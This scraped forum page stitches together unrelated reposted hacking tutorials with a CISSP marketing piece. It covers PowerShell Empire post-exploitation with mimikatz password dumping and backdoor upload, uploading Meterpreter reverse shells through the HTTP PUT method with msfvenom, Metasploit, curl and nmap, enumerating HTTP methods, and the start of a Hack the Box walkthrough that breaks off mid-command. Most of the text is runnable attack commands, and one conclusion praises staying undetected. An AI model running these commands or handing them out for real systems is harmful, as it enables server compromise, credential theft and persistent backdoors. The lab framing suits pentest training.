![[Image: 10.1.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-xUQKlVc2ZLI/XFLz_hohXrI/AAAAAAAAcfs/u0J0YZMzJ3EKltz1KqhNzoXxYQbIHZ8HwCLcBGAs/s1600/10.1.png?w=687)
Let’s try and run mimikatz to get the password of the user. Since mimikatz won’t run on a normal guest user shell and will only run on the admin shell; this also proves that we have to achieve admin access so that we can use mimikatz.
Hmmmm!! And the password is “123” for user raj.
![[Image: 10.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-zRAujpU5H3k/XFLz_tAf41I/AAAAAAAAcfw/Z7cM7LKX08Uwj1nQ2hUQa2tcaUYyrOzywCLcBGAs/s1600/10.png?w=687)
creds
Above command will dump the credentials or password of any user in both plaintext and its hash as well.
Another important command is the shell command.
To use the shell of the victim to run proper Microsoft windows commands, we use this feature.
Eg: one such window’s cmd only command is netstat
shell netstat -ano
1
shell netstat -ano
And as expected, the above command showed us all the ports in work currently on the machine!
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-mMorvsHGp8U/XFL0AA7UCxI/AAAAAAAAcf4/mTPLM73UgqkL3nDzC0CZOXKLGcuGuBaHwCLcBGAs/s1600/11.png?w=687)
Now, since the default shell directory in windows is “C:/windows/system32”; let’s try and move into another directory and try to download some file from there and also we can upload something at that location, for example, we can upload a backdoor! Now, use the following commands for it :
shell cd C:\Users\raj\Desktop
shell dir
download 6.png
1
2
3
shell cd C:\Users\raj\Desktop
shell dir
download 6.png
Above command will download an image called 6.png from the window’s desktop to the “downloads directory of Empire”
upload /root/Desktop/revshell.php
1
upload /root/Desktop/revshell.php
Here we can upload any backdoor, with help of above command we are uploading a php backdoor from Kali’s desktop to victim’s desktop and we can even invoke this file since we have the shell access!
![[Image: 12.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-X1s-YWC1Xj4/XFL0Ad6DoAI/AAAAAAAAcgA/Avx78M4YfiAXWq3h0n3ZdxK-OMZMqzPtQCLcBGAs/s1600/12.png?w=687)
This is where the downloaded files will go:
Empire directory/downloads/<agent name>/<agent shell location>
![[Image: 13.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-xcgY1gDBusQ/XFL0AVt1kQI/AAAAAAAAcf8/ypsDs9J7nPUFNPP6ZdL6NalmMyzPcfN-QCLcBGAs/s1600/13.png?w=687)
shell dir
1
shell dir
Above command proves that we indeed have uploaded revshell.php
And there it is! Revshell.php on the desktop of victim’s machine which our backdoor file.
![[Image: 14.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-7AWWXjwfZDk/XFL0A4BNkcI/AAAAAAAAcgE/qhQR92UguCchbz1rgR486FutoET9lJZqwCLcBGAs/s1600/14.png?w=687)
Previously shown were the basic demo of empire and its different terms used and how to use them. There is another term too, i.e. usemodule. Lastly, let’s see how to use it.
usemodule <tab> <tab>
1
usemodule <tab> <tab>
The command will show you all the modules available and ready to use as shown in the image below:
![[Image: 15.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-aOtqoWHNG8s/XFL0BTFzhdI/AAAAAAAAcgI/S-WzclFtJucehgAvb1hlmtbzqC_n0itUACLcBGAs/s1600/15.png?w=687)
Following is a small demo of how to use usemodule. Type :
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
1
2
3
4
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
![[Image: 16.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-6IbGGv3fPhs/XFL0BjvFu3I/AAAAAAAAcgM/S4fj_0ifqQA_Z6lDyXhWWMcK4gTCOiQaACLcBGAs/s1600/16.png?w=687)
Using the above module will display a message on victims’ PC as shown image below :
![[Image: 17.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/--t6ETMHrT1c/XFL0B4_4W1I/AAAAAAAAcgQ/C6zgUrEZyW8T8hp1HO_HopvLfOoi_SSAACLcBGAs/s1600/17.png?w=687)
Conclusion
Malware in the form of .exe/dll/hta etc. allows an attacker to construct any desirable attack as this framework has access to Win32. Although anti-virus companies are becoming aware day by day, these ones are still valid. It’s a great tool due to its vast, authentic and efficient collection of post-exploits. Ultimately, the goal is to be undetected and successful in your attack and this tool allows us to do so. And this article covered all the basics you need to know about this framework.
Happy Hacking!!
f
Every business organization seeks safety and security of its internal information. It is essential to ensure that the data is protected from malicious attackers who easily breach into the network through use of unfair practices. Maintaining a secure information security policy and hiring the right bunch of qualified professionals is of prime importance to any organization who intend to prevent their internal servers and systems from being compromised. Such professionals ensure that the software installations are up-to-date and build in security layers which become difficult for cyber attackers to intrude into the network.
What is CISSP?
The full form of CISSP is Certified Information Systems Security Professional. This certification is conferred by the International Information Systems Security Certification Consortium (ISC)², which is a global non-profit organization specializing in IT security. (ISC)² is rendered as one of the world’s largest Information Security organization which offers a variety of security certifications like CISSP, CSSLP, and CAP.
As an Information Security aspirant, there are multiple benefits of obtaining a CISSP certification which you simply cannot ignore. Let’s discuss some of the topmost reasons to earn such a certification and discover how a CISSP is integral for any business organization and act as a key component in the selection procedure for managerial-level information security positions.
Obtaining a [To see content please register here] is a good move for a flourishing IT career. Reason being, CISSP provides industry-wide recognition and considered as the “Best Professional Certification Program” by SC Magazine. This certification is highly endorsed and recognized by well-known global MNCs like Google, IBM etc. It is ascertained that there is a projected requirement of about 56% of cyber experts in the current job market.
You are eligible to earn an (ISC)² membership once you complete the CISSP certification. This membership offers a wide array of resources and advantages which help you to improve your knowledge area and network. You just need to invest on some maintenance fees annually to retain the membership. As a member, you also stand a chance to earn discounts on industry seminars and conferences and have free access to certain online events. Your credentials are available online through digital badges. The scope of benefits of a member are immense and opens a world of possibilities for you to stay connected with the latest findings and resources.
The core content of CISSP provides a wide range of understanding of the security field to the information security professionals and creates an awareness of the latest security threats. This certification encompasses knowledge transfer of control devices and the network architecture to maintain the integrity and confidentiality of public and private networks. The course content is designed in such a way that it involves the application of [To see content please register here] for software development, enterprise computing solutions in the production and operation environment.- Increased Earning Potential
Getting a CISSP certification under your belt not only assures you of advanced knowledge and skill-sets but also command higher remuneration. In 2017, there were around 1 million job openings in cybersecurity which is likely to go beyond 1.5 million by 2019. Organizations are continuously competing to hire the best security talent in the market and are ready to pay handsome salaries to the prospective candidates. On an average, a CISSP earns 25% more than the non-certified counterparts.- High Demand for Security Experts
On a global scale, companies are investing more on hiring CISSP certified experts. With the ever-increasing intensity of hacker activities across the world, organizations are struggling to keep at bay such security breaches which hamper their internal security fabric. For this reason, employers are recruiting certified cybersecurity experts to prevent such network intrusion by building stronger security layers thereby protecting their internal servers and systems from malicious attacks.
Takeaway
Considering all these factors that has been discussed in this article, we can safely connote that obtaining a CISSP certification can certainly propel your IT career to a great extent. CISSP is thus, a very well-performing certification and once you are through the certification, it provides you a rewarding, lucrative and satisfying career path in the long run.
Author Bio: I am Maria Thomas, Content Marketing Manager and Product Specialist at [To see content please register here] with eight years rich experience on professional certification courses like PMI- Project Management Professional, PMI-ACP, Prince2, ITIL (Information Technology Infrastructure Library), Big Data, Cloud and Six Sigma.
Hi Friends, today’s article is related to exploiting the HTTP PUT method vulnerability through various techniques. First, we will determine if the HTTP PUT method is enabled on the target victim machine, a post which we will utilize several different methods to upload a Meterpreter reverse shell on the target and compromise the same.
Table of Content - Introduction to HTTP PUT Method
- Scanning HTTP PUT Method (Nikto)
- Exploiting PUT Method Using Cadaver
- Exploiting PUT Method Using Nmap
- Exploiting PUT Method Using Poster
- Exploiting PUT Method Using Metasploit
- Exploiting PUT Method Using Burpsuite
- Exploiting PUT Method Using Curl
Introduction to HTTP PUT Method
PUT method was originally intended as one of the HTTP method used for file management operations. If the HTTP PUT method is enabled on the webserver it can be used to upload a malicious resource to the target server, such as a web shell, and execute it
As this method is used to change or delete the files from the target server’s file system, it often results in arising in various File upload vulnerabilities, leading the way for critical and dangerous attacks. As a best practice, the file access permissions of the organizations’ critical servers should be strictly limited with restricted access to authorized users, if in case the organization absolutely MUST have these methods enabled.
Note: In this tutorial, we are using a Vulnerable target machine for Pentesting purposes and to illustrate the use of various tools. This is purely meant for educational purposes in the testing environment and should not be used in a Production environment without the authorized permissions from the relevant authorities/management.
Requirements
Target: Metasploitable 2
Attacker: Kali Linux machine
Let’s Begin!!!!
Boot your Kali Linux machine (IP: 192.168.1.105) and in parallel, type victim IP as 192.168.1.103 in the Firefox browser and click on WebDAV. As we can see from the screenshot it is listing only the parent directory.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-IAvnCT5J0D0/W77ri1o1mRI/AAAAAAAAaq0/r9dKhua-6iwzivv_6hHEIHMCueQuLH1kwCEwYBhgL/s1600/1.png?w=687&ssl=1)
First of all, we need to ensure that the vulnerable target machine has the HTTP PUT method allowed us to upload malicious backdoors. In order to confirm the same, we need to scan the target using Nikto.
Nikto is a popular Web server scanner that tests Web servers for dangerous files/CGIs, outdated server software and other issues. It also performs generic and server type specific checks. Below is the command to scan the URL:
nikto -h [To see content please register here]
1
nikto -h [To see content please register here]
Upon running the above command, we can observe that the highlighted part in below screenshot displays that the HTTP PUT method is allowed. Now let’s hack the vulnerable target machine by uploading the PHP malicious file, using the various techniques shown in upcoming sections.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-_fKRSGfCCgA/W77rlIJD1XI/AAAAAAAAaqo/SA6dYhM9WtUVv3H6ryRskxjAktX8OgzmQCEwYBhgL/s1600/2.png?w=687&ssl=1)
Prepare the malicious file to be uploaded with msfvenom :
Msfvenom can be used to create PHP meterpreter payload that gives us a reverse shell. Execute the following command to perform the same
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.105 lport=4444 -f raw
Copy the code from <?php to die() and save it in a file with .php extension as shell.php file , on the desktop .This will be utilized later in the upcoming sections, to upload the file on the web server.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ai6_PuZKAtU/W77rl0U7yzI/AAAAAAAAaq0/_yom0zpAx4ID2rNrdTJvQvzx8WSLEKXBQCEwYBhgL/s1600/3.png?w=687&ssl=1)
In parallel, load the Metasploit framework by typing msfconsole on a new terminal and start multi/handler. This will be utilized in the later part of the section
Cadaver
Cadaver is a command line tool pre-installed in the Kali machine that enables the uploading and downloading of a file on WebDAV.
Type the target host URL to upload the malicious file, using the command given below.
cadaver [To see content please register here]
1
cadaver [To see content please register here]
Now once we are inside the victim’s directory, upload the file shell.php from the Desktop to the target machine’s path, by executing the below command :
put /root/Desktop/shell.php
1
put /root/Desktop/shell.php
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-orYWQsnvyQQ/W77rmHlDItI/AAAAAAAAaqI/PDRguU1qCtIyIFqsEWCcjV6Rh8dRAYQhQCEwYBhgL/s1600/4.png?w=687&ssl=1)
To verify whether the file is uploaded or not, run the URL: 192.168.1.103/dav/ on the browser. Awesome!!! As we can see, the malicious file shell.php has been uploaded on the web server.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-yG32I2RGUeY/W77rmDmgKSI/AAAAAAAAaqs/Ss7Yu3qYMSgwizHtwTE6I0Z5x7pS0zL3wCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now, let’s launch the Metasploit framework and start a handler using the exploit/multi/handler module. Assign the other values like the LHOST and LPORT values to the Kali machine’s IP and port to listen on, respectively. Once done, execute by running the command exploit to start listening for the incoming connections.
msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
1
2
3
4
5
msf> use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.105
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
Press Enter and we will observe that the reverse TCP handler has been started on Kali IP 192.168.1.105:4444.
Now go back to the previously uploaded shell.php file and click on the same. Once run, we will get the TCP reverse connection automatically on the meterpreter shell. Further, run the sysinfo command on the meterpreter session to get machine OS/architecture details.
meterpreter>sysinfo
1
meterpreter>sysinfo
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-TvOtpJaXils/W77rmVp2B8I/AAAAAAAAaqw/H2g5L6Yr4CkURrBMgEWMxQX9I3gRuqrpwCEwYBhgL/s1600/6.png?w=687&ssl=1)
Nmap
Nmap is an opensource port scanner and network exploitation tool. If PUT Method is enabled on any web server, then we can also upload a malicious file to a remote web server with the help of NMAP. Below is the command to configure the same. We must specify the filename and URL path with NSE arguments. in parallel, prepare the malicious file nmap.php to upload to the target server.
nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'
1
nmap -p 80 192.168.1.103 --script http-put --script-args http-put.url='/dav/nmap.php',http-put.file='/root/Desktop/nmap.php'
As seen from the below screenshot, the nmap.php file has been uploaded successfully.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-els_LacO3vo/W77rm2psBgI/AAAAAAAAaqw/BrGv-I3DGBojQptXytnaLc3tYfS48w3rgCEwYBhgL/s1600/7.png?w=687&ssl=1)
Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot, the file nmap.php has been uploaded on the web server.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-LTOaoA34ITg/W77rnfaZ41I/AAAAAAAAaq0/09RjXZx37zUjv2wG6Mghh6LqTdweKZY9wCEwYBhgL/s1600/8.png?w=687&ssl=1)
Simultaneously, open Metasploit MSF console and use multi/handler; then go back to previously uploaded nmap.php file and run it. As can be seen below, this will give us a meterpreter session.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-KR1ALvq0nvc/W77rnECSIPI/AAAAAAAAaqY/jgYOrjezrww8MBqQRyIdNYM_T-cxoS5XQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Poster
The poster is a Firefox Add-on and a developer tool for interacting with web services to let the end-user trigger the HTTP requests with parameters like GET, POST, PUT and DELETE and also enables to set the entity body, and content type
Prepare the malicious file poster.php that you would like to upload to the target machine. Install the Poster plug-in from Firefox Add-on. Click on the tools from the menu bar. And then click on Poster from the drop-down menu. The following dialog box will open. Type the URL as mentioned in the screenshot and provide the path of the malicious file to be uploaded via Browse option and finally click on PUT action.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3184VfcbqFs/W77rjJrkjuI/AAAAAAAAaqg/UHEV0USTGnsw1IFAwPPjWQX4lFAyFeJSQCEwYBhgL/s1600/10.png?w=687&ssl=1)
Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot, the file poster.php has been uploaded on the web server.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-C-tuuFu7ezs/W77rjMRoNNI/AAAAAAAAaq0/C0FT-zPRUnAt_u7EkhWgkoMu2NmkK1ovwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Simultaneously, open Metasploit MSF console and use multi/handler; then go back to previously uploaded poster.php file and run it. This will give us a meterpreter session.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-4VC6GAbwlk0/W77rjuzWlWI/AAAAAAAAaqk/2j4EUs3OEbs93k9oKaRFP0JjvvPrXUUngCEwYBhgL/s1600/12.png?w=687&ssl=1)
Burpsuite
Burpsuite is one of the most popular proxy interception tools whose graphical interface can be effectively utilized to analyze all kind of GET and POST requests.
Configure the manual proxy settings of end users’ browser so as to intercept the GET request Browse the URL [To see content please register here] but don’t hit ENTER yet. In parallel, let us navigate to the Burpsuite Proxy tab and click Intercept is on the option under the Intercept sub-option, to capture the request. As soon as we hit ENTER in the users’ browser, we will be able to fetch the data under the intercept window.
Now right-click on the same window and a list of multiple options will get displayed. A further click on Send to the repeater.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ZwOoTL28hMg/W77rjvwmKPI/AAAAAAAAapY/bbI2afPf4NEQzq_uPTGcXGrE3LG4m2QvQCEwYBhgL/s1600/13.png?w=687&ssl=1)
In the below-highlighted screenshot, we will observe two panels – left and right for the HTTP Request and HTTP Response respectively. The GET method can be observed in the HTTP request and we will now replace GET with the PUT method in order to upload the file with name burp.php comprising of malicious content/code.
Type PUT /dav/burp.php HTTP/1.1 in the header and then paste the php malicious code starting from dav directory through PUT request.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-qQhk13RoVhw/W77rjxnWxjI/AAAAAAAAaq0/8iBXssgaXX8I2-NiSK_TyR2PibAWuE5lwCEwYBhgL/s1600/14.png?w=687&ssl=1)
Verify and confirm the file upload by browsing the same URL 192.168.1.103/dav in the end users’ browser and we can see the burp.php file has been uploaded in the /dav directory of the web server.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-AyBQmVxBQAU/W77rkCU45NI/AAAAAAAAaqs/cfwoBynG2s8BW8C_tjKKEtDCtOKXkBmNACEwYBhgL/s1600/15.png?w=687&ssl=1)
Simultaneously, open Metasploit MSF console and use multi/handler; then go back to previously uploaded burp.php file and run it. This will give us a meterpreter session.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-847UTwuj7Ic/W77rkILqtQI/AAAAAAAAaqo/eGJGmT_PuNoKNwT5JUwRk8k7n20swx4EwCEwYBhgL/s1600/16.png?w=687&ssl=1)
Metasploit
Metasploit Framework is a well-known platform for developing, testing, and executing exploits. It is an open source tool for performing various exploits against the target machines. This module can abuse misconfigured web servers to upload and delete web content via PUT and DELETE HTTP requests. Set ACTION to either PUT or DELETE. PUT is the default.
Metasploit has in-built auxiliary modules dedicated to scanning HTTP methods and gives us the ability to PUT a file with auxiliary/scanner/http/http_put. Below are the commands to accomplish the same
msf> use auxiliary/scanner/http/http_put
msf>auxiliary (http_put) > set rhosts 192.168.1.103
msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp
msf>auxiliary (http_put) > set path /dav/
msf>auxiliary (http_put) > set filename meter.php
msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php
msf>auxiliary (http_put) > exploit
1
2
3
4
5
6
7
msf> use auxiliary/scanner/http/http_put
msf>auxiliary (http_put) > set rhosts 192.168.1.103
msf>auxiliary (http_put) > set payload php/meterpreter/reverse_tcp
msf>auxiliary (http_put) > set path /dav/
msf>auxiliary (http_put) > set filename meter.php
msf>auxiliary (http_put) > set filedata file://root/Desktop/meter.php
msf>auxiliary (http_put) > exploit
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-UgEr2Yr62zc/W77rkVegsHI/AAAAAAAAaqw/_g91tLVqKZYk0Xdok8MV99PNwXs5Wf_lwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot, the file meter.php has been uploaded on the web server.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-tOZRLMDQ8y4/W77rkhs-ilI/AAAAAAAAaqw/0spu0p-6fxoFpSortWVf99HYJLKHPMCVACEwYBhgL/s1600/18.png?w=687&ssl=1)
Simultaneously, open Metasploit MSF console and use multi/handler; then go back to previously uploaded meter.php file and run it. This will give us a meterpreter session.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Xtw0_4WL1GE/W77rk6gdCyI/AAAAAAAAapw/gipaCNagefk8ru9lpgGvVpT76WErG4p4wCEwYBhgL/s1600/19.png?w=687&ssl=1)
cURL
cURL is a well-known command line tool to send or receive the data using the URL syntax and is compatible with various well-known protocols (HTTPS, FTP, SCP, LDAP, Telnet etc.)
To exploit the PUT method with cURL, the command is:
curl [To see content please register here] --upload-file /root/Desktop/curl.php -v
1
curl [To see content please register here] --upload-file /root/Desktop/curl.php -v
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FXYI2gJx5aw/W77rlHUWziI/AAAAAAAAaqk/rXCIGrnnUJs8dvw8k2VQ39-m8V7CvmBewCEwYBhgL/s1600/20.png?w=687&ssl=1)
Type the same URL in browser 192.168.1.103/dav and execute the same. As evident from the screenshot, the file curl.php has been uploaded on the web server.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-_KL9pTHjtSA/W77rlh45foI/AAAAAAAAaq0/uh8M3MDSSHEVwtbg8Kh5oPHtvJjphLX8gCEwYBhgL/s1600/21.png?w=687&ssl=1)
Simultaneously, open Metasploit MSF console and use multi/handler; then go back to previously uploaded curl.php file and run it. This will give us a meterpreter session.
|
|
|
|
| [Guide] Multiple Ways to Detect HTTP Options |
|
Posted by: NINZA - 05-14-2020, 09:51 AM - Forum: Carders Home
- No Replies
|
 |
Hi Friends, today we will walk through various HTTP Protocol methods and the tools used to extract those available HTTP methods in a web server. As we are already aware that the HTTP protocol comprises of a number of methods that can be utilized to not only gather the information from the web server but can also perform specific actions on the web server. These techniques and methods are helpful for the web application developers in the deployment and testing stage of web applications.
GET and POST is the most well-known methods that are used to access and submit information provided by a web server, respectively. HTTP Protocol allows various other methods as well, like PUT, CONNECT, TRACE, HEAD, DELETE. These methods can be used for malicious purposes if the web server is left misconfigured and hence poses a major security risk for the web application, as this could allow an attacker to modify the files stored on the web server.
OPTIONS: The OPTIONS method is used to request the available HTTP methods on a web server.
GET: GET request is the most common and widely used methods for the websites. This method is used to retrieve the data from the web server for a specific resource. As the GET method only requests for the data and doesn’t modify the content of any resources, it’s considered to be safe.
POST: POST requests are used to send (or submit) the data to the web server so as to create or update a resource. The information sent is stored in the request body of the HTTP request and processed further. An example illustrating the same is “Contact us” form page on a website. When we fill a form and submit it, the input data is then stored in the response body of the request and sent across to the server.
PUT: The PUT method allows the end-user (client) to upload new files on the web server. An attacker can exploit it by uploading malicious files or by using the victim’s server as a file repository.
CONNECT: The CONNECT method could allow a client to use the web server as a proxy.
TRACE: This method echoes back to the client, the same string which has been sent across to the server, and is used mainly for debugging purposes.
HEAD: The HEAD method is almost similar to GET, however without the message-body in the response. In other words, if the HTTP request GET /products return a list of products, then the HEAD /products will trigger a similar HTTP request, however, won’t retrieve the list of products.
DELETE: This method enables a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to perform a DoS attack.
Now let us use some tools to identify the HTTP methods enabled or supported by the web server
Metasploit
Metasploit Framework is a well-known platform for developing, testing, and executing exploits. It is an open source tool for performing various exploits against the target machines.
Metasploit has in-built auxiliary modules dedicated to scanning HTTP methods. Through the Metasploit framework command line (CLI), we can identify the HTTP Options available on the target URL as follows:
use auxiliary/scanner/http/options
set rhosts 192.168.1.109
set rport 80
exploit
1
2
3
4
use auxiliary/scanner/http/options
set rhosts 192.168.1.109
set rport 80
exploit
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-oVhYc2vR0Hw/W7ja7_DaRWI/AAAAAAAAalg/Ba7RmjqkUccmEWiilnKnz4bTZD6ig_vsACLcBGAs/s1600/1.png?w=687&ssl=1)
cURL
cURL is a command line tool to get or send the data using the URL syntax and is compatible with various well-known protocols (HTTPS, FTP, SCP, LDAP, Telnet etc.) along with command line (CLI) options for performing various tasks (Eg: User authentication , FTP uploading , SSL connections etc). The cURL utility by default comes installed in most of the distributions. However if in case, cURL is not installed, then we can install the same via apt-get install curl command. For more details refer the below URL
[To see content please register here]
Through the cURL command we can identify the HTTP Options available on the target URL as follows :
curl -v -X OPTIONS [To see content please register here]
1
curl -v -X OPTIONS [To see content please register here]
The screenshot displays the various types of allowed HTTP methods (GET, HEAD, POST, OPTIONS, TRACE), apart from other server-specific information (Server response, version details etc)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-lxvC1fXPcxw/W7ja7-XxYrI/AAAAAAAAalc/wspbUaWdARUJEbXnYewplG-c8CjUt2PLQCLcBGAs/s1600/2.png?w=687&ssl=1)
Nikto
Nikto is a Web server scanner that tests Web servers for dangerous files/CGIs, outdated server software and other issues. It performs generic and server types of specific checks.
Through the Nikto command we can identify the HTTP Options available on the target URL as follows :
nikto -h 192.168.1.109
1
nikto -h 192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD, POST, OPTIONS, TRACE), apart from another detailed server specific information (Server response, version details etc)
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-xicn7LLIcLU/W7ja8BUwkpI/AAAAAAAAalk/Gf4CsVF3zIA11teBvn1XVwuhSlaRV45ZQCLcBGAs/s1600/3.png?w=687&ssl=1)
Nmap
Nmap is a free and open-source security scanner, used to discover hosts and services on the network. This is another method of checking which HTTP methods are enabled by using an NMAP script called http-methods.nse, which can be obtained from [To see content please register here] .
Let us use NMAP command to enumerate all of the HTTP methods supported by a web server on the target URL as follows :
nmap --script http-methods --script-args http-method.test-all ='/192.168.1.109' 192.168.1.109
1
nmap --script http-methods --script-args http-method.test-all ='/192.168.1.109' 192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD, POST, OPTIONS, TRACE) along with highlighting the potential risk methods (i.e TRACE) out of them.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-p5Oa19ALiTc/W7ja8mmISnI/AAAAAAAAals/iIHf5z06nJ8-5Ffw77o2Mlalv0a6epTuQCLcBGAs/s1600/4.png?w=687&ssl=1)
Netcat
Netcat is a utility tool having the capability to write and read data across TCP and UDP network connections, along with features like in-built port scanning, network debugging and file transfer etc.
Through the Netcat command we can identify the HTTP Options available on the target URL as follows :
nc 192.168.1.109 80
1
nc 192.168.1.109 80
Press enter and the following options appear in the command line. Enter the server details as follows (and as highlighted in red )
OPTIONS [To see content please register here] / HTTP/1.0
host:192.168.1.109
1
2
OPTIONS [To see content please register here] / HTTP/1.0
host:192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD, POST, OPTIONS, TRACE), apart from other server-specific information (Server response, version details etc)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-oeYDWMTFo9Y/W7ja8jB2CEI/AAAAAAAAalo/XkRYyiH7kFsQ4oz2d1XdHuTCpwjb-hTCwCLcBGAs/s1600/5.png?w=687&ssl=1)
Burpsuite
Burp Suite is a platform for performing various security testing for web applications, from initial mapping and analysis to identifying and exploiting application vulnerabilities.
As we are aware that the HTTP OPTIONS method provides us with the most effective way to discover the different methods allowed on an HTTP server. So, let us capture the URL request in Burpsuite GUI and change the HTTP method type in the Request section to OPTIONS, as seen below.
As shown, the RESPONSE from the web server not only displays the list of HTTP methods allowed, however also highlights the server version details (Eg: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL 1.0.0/k DAV/2 PHP/5.4.3)
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-A2oq37szNTk/W7ja8o28n0I/AAAAAAAAalw/aaXACvGQX-YUn9aWMaGBhEQ9cmG669JEQCLcBGAs/s1600/6.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Olympus”. Olympus is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have static IP. The IP of Olympus is 10.10.10.83
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -A 10.10.10.83
1
nmap -A 10.10.10.83
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-CM9bO5lgM8I/W7ZcSyDvS6I/AAAAAAAAakM/XIjVKzctZWg18L3ZKYC5_1ex4DkYX_EMgCLcBGAs/s1600/1.png?w=687&ssl=1)
From scanning through nmap, we found that here port 22 is filtered for SSH but instead of that port 2222 is also open for SSH. Moreover, port 53 is open for DNS where it has grabbed banner “Bind” and even it found the port 80 is opened for Apache http server. Therefore firstly, let’s navigate to port 80 in the web browser.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ty3aaGouDEw/W7ZcUK18_vI/AAAAAAAAakk/W9uT7ELrGds1NzNNCcgNx63IGGBGPXWhQCLcBGAs/s1600/2.png?w=687&ssl=1)
After exploring target IP in the web browser, we were welcomed by a Zeus picture as shown in the above image. Unfortunately! Here we are unable to find any remarkable clue, therefore we have decided to run Nikto for scanning possible vulnerabilities.
Let’s find the list of possible vulnerabilities using Nikto:
nikto -h [To see content please register here]
1
nikto -h [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-YnG0oV_XXx0/W7ZcUtPrBCI/AAAAAAAAako/30YA5_MZI7M702i9aEU6ZeMuENoEo5MiQCLcBGAs/s1600/3.png?w=687&ssl=1)
Scanning with Nikto gave us a clue to move forward which is Uncommon header ‘xdebug’. Searching the keyword ‘xdebug’ on google gave us a result about ‘xdebug’ command execution exploits module for Metasploit. After that load Metasploit on your terminal and use the commands as follows:
msf > use exploit/unix/http/xdebug_unauth_exec
msf (exploit/unix/http/xdebug_unauth_exec) > set rhost 10.10.10.83
msf (exploit/unix/http/xdebug_unauth_exec) > set lhost 10.10.14.13
msf (exploit/unix/http/xdebug_unauth_exec) > exploit
1
2
3
4
msf > use exploit/unix/http/xdebug_unauth_exec
msf (exploit/unix/http/xdebug_unauth_exec) > set rhost 10.10.10.83
msf (exploit/unix/http/xdebug_unauth_exec) > set lhost 10.10.14.13
